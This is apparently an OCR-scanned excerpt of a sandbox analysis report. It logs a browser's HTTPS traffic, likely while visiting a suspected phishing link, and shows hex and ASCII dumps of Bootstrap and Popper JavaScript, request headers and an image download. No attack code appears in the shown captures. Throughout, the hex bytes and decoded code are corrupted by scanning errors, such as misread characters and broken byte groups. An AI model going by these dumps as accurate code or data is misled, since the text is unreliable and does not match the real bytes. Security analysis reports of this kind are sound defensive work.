6e 65 28 46 6e 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 6¢ 29 2e 65 6d 75 6¢ 61 74 65 54 72 61 6e 73 69 74 69 6f
6e 45 6e 64 28 63 29 7d 65 6¢ 73 65 20 6¢ 28 29 7d 7d 2c 74 2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76
61 72 20 65 3d 74 68 69 73 2c 6e 3d 74 68 69 73 2e 67 65 74 54 69 70 45 6¢ 65 6d 65 6e 74 28 29 2c 69 3d 70 65 2e 45
76 65 6e 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 48 49 44 45 29 2¢ 72 3d 66 75 6e 6
374 69 6f 6e 28 29 7b 65 2e 5f 68 6f 76 65 72 53 74 61 74 65 21 3d 3d 44 65 26 26 6e 2e 70 61 72 65 6e 74 4e 6f 64 65
26 26 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43

Data Ascii: FromElement(this.tip);pe(this.tip).one(Fn.TRANSITION_END,l).emulateTransitionEnd(c)}else I()}},t.hide=functi
on(t){var e=this,n=this.getTipElement(),i=pe.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==D
e&&n.parentNode&&n.parentNode.removeC

Data Raw: 33 36 62 36 0d Oa 73 28 4f 65 2b 22 20 22 2b 6b 65 29 7d 2c 74 2e 73 65 74 45 6¢ 65 6d 65 6e 74 43 6f 6e 74
65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2¢ 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 68 74 6d
6c 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 65 2e 6a 71 75
65 72 79 29 3f 6e 3f 70 65 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 69 73 28 74 29 7c 7c 74 2e 65 6d 70 74 79 28 29 2e
61 70 70 65 6e 64 28 65 29 3a 74 2e 74 65 78 74 28 70 65 28 65 29 2e 74 65 78 74 28 29 29 3a 74 5b 6e 3f 22 68 74 6d
6c 22 3222 74 65 78 74 22 5d 28 65 29 7d 2c 74 2e 67 65 74 54 69 74 6¢ 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61
722074 3d 74 68 69 73 2e 65 6¢ 65 6d 65 6e 74 2e 67 65 74 41 74 74

Data Ascii: 36b6s(Oe+" "+ke)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||
e.jgquery)?n?pe(e).parent().is(t)||t.empty().append(e):t.text(pe(e).text()):t(n?"html":"text"](e)},t.getTitle=function(){var t=this
.element.getAtt

Data Raw: 74 6¢ 65 22 2c 22 22 29 29 7d 2c 74 2e 5f 65 6e 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2¢ 65 29 7b 76 61
7220 6e 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 41 54 41 5f 4b 45 59 3b 28 65 3d 65 7c 7c 70 65 28 74
2e 6375 72 72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61 28 6e 29 29 7c 7c 28 65 3d 6e 65 77 20 74 68 69 73 2e 63
6f 6e 73 74 72 75 63 74 6f 72 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2c 74 68 69 73 2e 5f 67 65 74 44 65 6¢
65 67 61 74 65 43 6f 6e 66 69 67 28 29 29 2c 70 65 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 2e 64 61 74 61
28 6e 2c 65 29 29 2c 74 26 26 28 65 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 22 66 6f 63 75 73 69 6e 22 3d 3d
3d 74 2e 74 79 70 65 3f 4c 65 3a 48 65 5d 3d 21 30 29 2c 70 65 28 65

Data Ascii: tle","))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||pe(t.currentTarget).data(n))||(e=new
this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger[“focusi
n"===t.type?Le:He]=!0),pe(e

Data Raw: 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 65 66 61 75 6¢ 74 54 79 70 65 29 2c 74 7d 2c 74 2e 5f 67
65 74 44 65 6¢ 65 67 61 74 65 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 7d 3b 69 66
28 74 68 69 73 2e 63 6f 6e 66 69 67 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 68 69 73 2e 63 6f 6e 66 69 67 29 74
68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 65 66 61 75 6¢ 74 5b 65 5d 21 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67
5b 65 5d 26 26 28 74 5b 65 5d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 5b 65 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2¢ 74 2e
5f 63 6¢ 65 61 6e 54 69 70 43 6¢ 61 73 73 3d 66 75 6e 63 74 69 6f 62 28 29 7b 76 61 72 20 74 3d 70 65 28 74 68 69 73
2e 67 65 74 54 69 70 45 6¢ 65 6d 65 6e 74 28 29 29 2¢ 65 3d 74 2e 61

Data Ascii: his.constructor.DefaultType),t},t._getDelegateConfig=function()}{var t={};if(this.config)for(var e in this.co
nfig)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=pe(
this.getTipElement()),e=t.a

Data Raw: 2e 6e 6f 43 6f 6e 66 6¢ 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 65 2e 66 6e 5b
76 65 5d 3d 43 65 2c 57 65 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 57 65 29 2c 4a 6e 3d 28 71 65 3d
22 70 6f 70 6f 76 65 72 22 2c 4b 65 3d 22 2e 22 2b 28 46 65 3d 22 62 73 2e 70 6f 70 6f 76 65 72 22 29 2c 4d 65 3d 28 55
65 3d 65 29 2e 66 6e 5b 71 65 5d 2¢ 51 65 3d 22 62 73 2d 70 6f 70 6f 76 65 72 22 2¢ 42 65 3d 6e 65 77 20 52 65 67 45
78 70 28 22 28 5e 7c 5¢ 5¢ 73 29 22 2b 51 65 2b 22 5¢ 5¢ 53 2b 22 2c 22 67 22 29 2¢ 56 65 3d 6¢ 28 7b 7d 2c 7a 6e 2e 4
46566 61 75 6¢ 74 2c 7b 70 6¢ 61 63 65 6d 65 6€ 74 3a 22 72 69 67 68 74 22 2¢ 74 72 69 67 67 65 72 3a 22 63 6C 69
63 6b 22 2c 63 6f 6e 74 65 6e 74 3a 22 22 2¢ 74 65 6d 70 6¢ 61 74 65

Data Ascii: .noConflict=function(){return pe.fn[ve]=Ce,We._jQueryinterface},We),Jn=(qe="popover",Ke="."+(Fe="b
s.popover"),Me=(Ue=e).fn[qe],Qe="bs-popover",Be=new RegExp("(*|\\s)"+Qe+"\S+","g"),Ve=I({},zn.Default,{placem

Data Raw: 73 73 28 7a 65 2b 22 20 22 2b 4a 65 29 7d 2c 72 2e 5f 67 65 74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f
6e 2829 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6¢ 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64
61 74 61 2d 63 6f 6e 74 65 6e 74 22 29 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 65 6e 74 7d 2c 72 2e 5f 63
6¢c 65 61 6e 54 69 70 43 6¢ 61 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 65 28 74 68 69 73 2e 67
65 74 54 69 70 45 6¢ 65 6d 65 6e 74 28 29 29 2c 65 3d 74 2e 61 74 74 72 28 22 63 6¢ 61 73 73 22 29 2e 6d 61 74 63 68
28 42 65 29 3b 6e 75 6¢ 6¢ 21 3d 3d 65 26 26 30 3c 65 2e 6¢ 65 6e 67 74 68 26 26 74 2e 72 65 6d 6f 76 65 43 6¢ 61 73
73 28 65 2e 6a 6f 69 6e 28 22 22 29 29 7d 2c 69 2e 5f 6a 51 75 65 72

Data Ascii: ss(ze+" "+Je)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.conten
t},r._cleanTipClass=function(){var t=Ue(this.getTipElement()),e=t.attr("class").match(Be); null'==e&&0<e.length&&t.remove
Class(e.join(""))}i._jQuer
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kBytes

Timestam
P transferred

2022-05-13 12:56:24 UTC 2454

2022-05-13 12:56:24 UTC 2455

2022-05-13 12:56:24 UTC 2456

2022-05-13 12:56:24 UTC 2458

2022-05-13 12:56:24 UTC 2459

2022-05-13 12:56:24 UTC 2460

2022-05-13 12:56:24 UTC 2461

Session ID Source IP

35 192.168.2.5
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49835

Direction

Data

Data Raw: 74 2d 67 72 6f 75 70 2d 69 74 65 6d 22 2c 70 6e 3d 22 2e 64 72 6f 70 64 6f 77 6e 22 2c 76 6e 3d 22 2e 64 72
6f 70 64 6f 77 6e 2d 69 74 65 6d 22 2c 79 6e 3d 22 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 22 2¢c 45 6e 3d 22 6f
66 66 73 65 74 22 2c 43 6e 3d 22 70 6f 73 69 74 69 6f 6e 22 2¢ 54 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74
69 6f 6e 20 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 74 2c 74
68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 45 6¢ 65 6d 65 6€ 74 3d 22 42 4f 44 59 22 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 3f 77 69
6e 64 6f 77 3a 74 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74
68 69 73 2e 5f 73 65 6¢ 65 63 74 6f 72 3d 74 68 69 73 2e 5f

Data Ascii: t-group-item",pn=".dropdown",vn=".dropdown-item",yn=".dropdown-toggle",En="offset",Cn="position",T
n=function(){function n(t,e){var n=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=thi
s._getConfig(e),this._selector=this._

Data Raw: 67 65 74 73 3d 6e 75 6¢ 6¢ 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 61 72 67 65 74 3d 6e 75 6¢ 6¢ 2¢ 74 68
69 73 2e 5f 73 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 3d 6e 75 6¢ 6C 7d 2C 74 2e 5f 67 65 74 43 6f 6€ 66 69 67 3d 66 75 6e 63
74 69 6f 6e 28 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 28 74 3d 6¢ 28 7b 7d 2c 73 6e 2c 22 6f
62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 3f 74 3a 7b 7d 29 29 2e 74 61 72 67 65 74 29 7b 76 61 72 20
65 3d 74 6e 28 74 2e 74 61 72 67 65 74 29 2e 61 74 74 72 28 22 69 64 22 29 3b 65 7c 7c 28 65 3d 46 6e 2e 67 65 74 55
49 44 28 65 6e 29 2c 74 6e 28 74 2e 74 61 72 67 65 74 29 2e 61 74 74 72 28 22 69 64 22 2¢ 65 29 29 2¢c 74 2e 74 61 72
67 65 74 3d 22 23 22 2b 65 7d 72 65 74 75 72 6e 20 46 6e 2e 74 79

Data Ascii: gets=null,this._activeTarget=null,this._scrollHeight=null},t._getConfig=function(t){if("string"!=typeof(t=I({},sn,"obj
ect'==typeof t&&t?t:{})).target){var e=tn(t.target).attr("id");e||(e=Fn.getUID(en),tn(t.target).attr("id",e)),t.target="#"+e}return
Fn.ty

Data Raw: 2c 22 29 3b 74 3d 74 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2b 27 5b

64 6174 61 2d 74 61 72 67 65 74 3d 22 27 2b 65 2b 27 22 5d 2¢ 27 2b 74 2b 27 5b 68 72 65 66 3d 22 27 2b 65 2b 27 22
5d 27 7d 29 3b 76 61 72 20 6e 3d 74 6e 28 5b 5d 2e 73 6¢ 69 63 65 2e 63 61 6¢ 6¢ 28 64 6f 63 75 6d 65 6e 74 2e 71 75
65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6C 28 74 2e 6a 6f 69 6e 28 22 2c 22 29 29 29 29 3b 6e 2e 68 61 73 43 6¢ 61 73 73
28 63 6e 29 3f 28 6e 2e 63 6¢ 6f 73 65 73 74 28 70 6e 29 2e 66 69 6e 64 28 79 6e 29 2e 61 64 64 43 6¢ 61 73 73 28 68
6e 29 2c 6e 2e 61 64 64 43 6¢ 61 73 73 28 68 6e 29 29 3a 28 6e 2e 61 64 64 43 6¢ 61 73 73 28 68 6e 29 2c 6e 2e 70 61
72 65 6e 74 73 28 64 6e 29 2e 70 72 65 76 28 67 6e 2b 22 2¢ 20 22 2b 6d

Data Ascii: ,");t=t.map(function(t){return t+'[data-target=""+e+"],'+t+'[href=""+e+"]7});var n=tn([].slice.call(document.querySe
lectorAll(t.join(","))));n.hasClass(cn)?(n.closest(pn).find(yn).addClass(hn),n.addClass(hn)):(n.addClass(hn),n.parents(d

n).prev(gn+", "+m

Data Raw: 3d 22 73 68 6f 77 22 2c 6a 6e 3d 22 2e 64 72 6f 70 64 6f 77 6e 22 2c 48 6e 3d 22 2e 6e 61 76 2c 20 2e 6¢ 69
7374 2d 67 72 6f 75 70 22 2c 4c 6e 3d 22 2e 61 63 74 69 76 65 22 2c 52 6e 3d 22 3e 20 6¢ 69 20 3e 20 2e 61 63 74 69
76 6522 2c 78 6e 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6¢ 65 3d 22 74 61 62 22 5d 2¢ 20 5b 64 61 74 61 2d 74 6f 67 67
6c 65 3d 22 70 69 6¢ 6¢ 22 5d 2¢ 20 5b 64 61 74 61 2d 74 6f 67 67 6¢ 65 3d 22 6¢ 69 73 74 22 5d 27 2¢ 57 6e 3d 22 2e 6
472 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 22 2c 55 6e 3d 22 3e 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 2e 61 6
37469 76 65 22 2c 71 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7h 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e
5f 65 6¢ 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f

Data Ascii: ="show",jn=".dropdown",Hn=".nav, .list-group",Ln=".active",Rn="> li > .active",xn="[data-toggle="tab"], [data-
toggle="pill"], [data-toggle="list"]', Wn=".dropdown-toggle",Un="> .dropdown-menu .active",qn=function(){function i(t){
this._element=t}var t=i.pro

Data Raw: 28 72 29 3b 62 6e 28 72 29 2e 6f 6e 65 28 46 6e 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2¢c 73 29 2e 65
6d 75 6¢ 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 61 29 7d 65 6¢ 73 65 20 73 28 29 7d 2c 74 2e 5f 74 72 61
6e 73 69 74 69 6f 6e 43 6f 6d 70 6¢ 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2¢ 6e 29 7h 69 66 28 65 29 7b 62
6e 28 65 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 50 6e 2b 22 20 22 2b 4e 6e 29 3b 76 61 72 20 69 3d 62 6e 28 65 2e
70 61 72 65 6e 74 4e 6f 64 65 29 2e 66 69 6e 64 28 55 6e 29 5b 30 5d 3b 69 26 26 62 6e 28 69 29 2e 72 65 6d 6f 76 65
43 6¢ 61 73 73 28 4e 6e 29 2¢c 22 74 61 62 22 3d 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6¢ 65 22
2926 26 652e 73657441 74747269 62 75 74 65 28 22 61 72 69 61 2d

Data Ascii: (r);bn(r).one(Fn.TRANSITION_END,s).emulateTransitionEnd(a)}else s()},t._transitionComplete=function(t,e,n)
{if(e){bn(e).removeClass(Pn+" “+Nn);var i=bn(e.parentNode).find(Un)[0];i&&bn(i).removeClass(Nn), "tab"===e.getAtt
ribute(“role")&&e.setAttribute("aria-

Data Raw: 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65
717569 72 65 73 20 61 74 20 6¢ 65 61 73 74 20 6a 51 75 65 72 79 20 76 31 2e 39 2e 31 20 62 75 74 20 6¢ 65 73 73 20
74 68 61 6e 20 76 34 2e 30 2e 30 22 29 7d 28 65 29 2c 74 2e 55 74 69 6¢ 3d 46 6e 2c 74 2e 41 6¢ 65 72 74 3d 4b 6e 2c
74 2e 42 75 74 74 6f 6e 3d 4d 6e 2c 74 2e 43 61 72 6f 75 73 65 6¢ 3d 51 6e 2c 74 2e 43 6f 6¢ 6¢ 61 70 73 65 3d 42 6e 2
74 2e 44 72 6f 70 64 6f 77 6e 3d 56 6e 2c 74 2e 4d 6f 64 61 6¢ 3d 59 6e 2c 74 2e 50 6f 70 6f 76 65 72 3d 4a 6e 2c 74 2e
53 63 72 6f 6¢ 6¢ 73 70 79 3d 5a 6e 2c 74 2e 54 61 62 3d 47 6e 2c 74 2e 54 6f 6f 6¢ 74 69 70 3d 7a 6e 2c 4f 62 6a 65 63
74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f

Data Ascii: new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}(e),t.Util=Fn,t.Ale
rt=Kn,t.Button=Mn,t.Carousel=Qn,t.Collapse=Bn,t.Dropdown=Vn,t.Modal=Yn,t.Popover=Jn,t.Scrollspy=Zn,t. Tab=Gn,t.
Tooltip=zn,Object.defineProperty(t,”

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Destination IP Destination Process
Port
104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data
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kBytes

Timestam
P transferred

2022-05-13 12:56:24 UTC 2351

2022-05-13 12:56:24 UTC 2461

2022-05-13 12:56:24 UTC 2462

2022-05-13 12:56:24 UTC 2462

2022-05-13 12:56:24 UTC 2463

Session ID Source IP

4 192.168.2.5
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49789

Direction

Data

GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1

Host: cdnjs.cloudflare.com

Connection: keep-alive

Origin: https://ambitconsulting.us

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: script

Referer: https://ambitconsulting.us/jkadnmadiuya/quad/

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:24 GMT

Content-Type: application/javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Access-Control-Allow-Origin: *

Cache-Control: public, max-age=30672000

ETag: W/"5eb03fa9-4af4"

Last-Modified: Mon, 04 May 2020 16:15:37 GMT

cf-cdnjs-via: cfworker/kv

Cross-Origin-Resource-Policy: cross-origin

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT

Age: 3335366

Expires: Wed, 03 May 2023 12:56:24 GMT

Report-To: {"endpoints”:[{"url":"https:V\V/a.nel.cloudflare.com\ireport\/v3?s=wYvG1up57ZLRODrDbQNZ88wcixAzipYV
sNssh%2FwsxrtNsNuXCv%2BD0O%2FTONIkDy5lwkesAaG4cVAQEFRIi53cBNzX5H9flvbdL5QHHOdigFjoaoSX0fCf1z
SCII3E4swpvjHvnsBi4k"}],"group:“cf-nel","max_age":604800}

NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}

Strict-Transport-Security: max-age=15780000

Server: cloudflare

CF-RAY: 70ab8dd1bdc88fec-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 34 61 66 34 0d Oa 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76
6f 6¢ 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63
65 6e 73 65 20 28 6¢ 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f
75 72 63 65 2e 6f 72 67 2f 6¢ 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74
29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27
21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6¢ 65 3f 6d 6f 64 75 6¢ 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63
74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26

Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://ope
nsource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&& undefined'!=typeof module?module.exports=t():'fun
ction'==typeof define&

Data Raw: 74 28 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b
66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69
6f 6e 5d 27 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6¢ 6¢ 28 65 29 7d 66 75 6e 63 74 69 6f 6 20 74 28 65 2¢
7429 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 4
3 6f6d 70 75 74 65 64 53 74 79 6¢ 65 28 65 2¢ 6e 75 6¢ 6¢ 29 3b 72 65 74 75 72 6€ 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6
e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a
65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66

Data Ascii: t()})(this,function(){'use strict';function e(e){return e&&[object Function]'==={}.toString.call(e)}function t(e,t){i
f(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?ol[t]:0}function o(e){return'HTML'===e.nodeName?
e:e.parentNode||e.host}f

Data Raw: 4c 27 3d 3d 3d 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65
6e 74 45 6¢ 65 6d 65 6e 74 2c 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6 74 2e 73 63 72 6f 6¢ 6¢ 69 6 67 45 6C 65
6d 65 6e 74 7c 7c 6e 3b 72 65 74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 5d 7d 66 75 6e 63 74 69 6f
6e 20 6¢ 28 65 2¢ 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6¢ 65 6e 67 74 68 26 26 76 6f 69 64
203021 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27
74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6¢ 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f
70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65

Data Ascii: L'===i){var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||n;return r[o]}return
e[o]}function I(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top"),n=a(t, left'),r=0?-
1:1;return e.top+=i*r,e.bottom+=i*r,e

Destination IP Destination Process
Port
104.18.2.36 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data
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kBytes

Timestam
P transferred

2022-05-13 12:56:11 UTC 35

2022-05-13 12:56:11 UTC 101

2022-05-13 12:56:11 UTC 102

2022-05-13 12:56:11 UTC 102

2022-05-13 12:56:11 UTC 104

2022-05-13 12:56:11 UTC 105

2022-05-13 12:56:11 UTC 106

2022-05-13 12:56:11 UTC 108

Copyright Joe Security LLC 2022

Direction

ouT

Data

GET /tqC70bVt8T6GtQUXNsa2-g/b29c1f6d-97a2-4c09-cfle-dcaea7596e00/public HTTP/1.1

Host: imagedelivery.net

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT

Content-Type: image/avif

Content-Length: 7145

Connection: close

CF-Ray: 70ab8d814d469052-FRA

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=14400

ETag: "cfd3TYrRKdXYRpOkjylOtG5Q"

Vary: Accept

CF-Cache-Status: REVALIDATED

cf-bgj: imgq:85,h2pri

cf-images: internal=ok/- q=0 n=485 c=586 v=2022.4.12 |=7145
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-content-type-options: nosniff

Server: cloudflare

Data Raw: 00 00 00 18 66 74 79 70 61 76 69 66 00 00 00 00 6d 69 66 31 6d 69 61 66 00 00 01 68 6d 65 74 61 00 00 00
00 00 00 00 21 68 64 6¢ 72 00 00 00 00 00 00 00 00 70 69 63 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oe 70
69 74 6d 00 00 00 00 00 01 00 00 00 2¢ 69 6¢ 6f 63 00 00 00 00 44 00 00 02 00 01 00 00 00 01 00 00 07 41 00 00 14 a8 0
002 00 00 00 01 00 00 01 88 00 00 05 b9 00 00 00 38 69 69 6e 66 00 00 00 00 00 02 00 00 00 15 69 6e 66 65 02 00 00
00 00 01 00 00 61 76 30 31 00 00 00 00 15 69 6e 66 65 02 00 00 00 00 02 00 00 61 76 30 31 00 00 00 00 1a 69 72 65 66
00 00 00 00 00 00 00 Oe 61 75 78 6¢ 00 02 00 01 00 01 00 00 00 af 69 70 72 70 00 00 00 8a 69 70 63 6f 00 00 00 14 69
7370 65 00 00 00 00 00 00 01 Oa 00 00 01 Oa 00 00 00 Oc 61 76 31 43 81 3f

Data Ascii: ftypavifmiflmiafhmeta!hdlrpictpitm,ilocDA8iinfinfeavOlinfeavOlirefauxliprpipcoispeaviC?

Data Raw: 4b ca 8b €9 8c 13 7f 9b 44 0d 47 f4 73 36 7f 73 6e 87 a7 78 11 60 88 8a fe d7 61 14 7e d2 4f b2 e4 16 2b a4 3f
83 ¢c2 26 fb 76 60 ea bf 0a c3 33 81 86 db e6 f6 25 15 40 00 21 8c a9 61 69 1le cl c9 64 a2 1a 5d b4 cd 5b 4f ee 2f 18 58
6f 6b b9 55 d7 09 a0 55 f7 a4 b3 08 08 83 89 d2 dc d0 bd db 39 ae 32 23 d8 76 38 ea 55 b1 b5 93 e8 44 96 90 4a b6 d7
57 2f f6 29 be 83 39 ce e8 13 fd e8 db d5 20 38 71 8e bf 98 d2 16 d3 c0 d6 70 92 61 4a fO 9b ce 5b 44 64 01 07 e6 fa bf f4
24 f0 72 b1 27 7a 68 43 6b 88 95 b2 46 27 e4 Oe 88 cc a4 a3 c7 e5 d2 3e af 24 Oe 66 13 12 ce 54 d8 dc 5d f7 a2 8d 8e 14
57 8¢ 08 05 79 96 f1 e4 8d Of 5a fc ¢3 40 5a b3 bd 31 f8 77 11 35 94 eb ca 92 cc 70 47 03 8f db 33 de 2f 4d ca 8c 27 46
42 41 85 7b e2 fd 32 4b 6d 70 db 5c dc 4f e4 2d a4 af

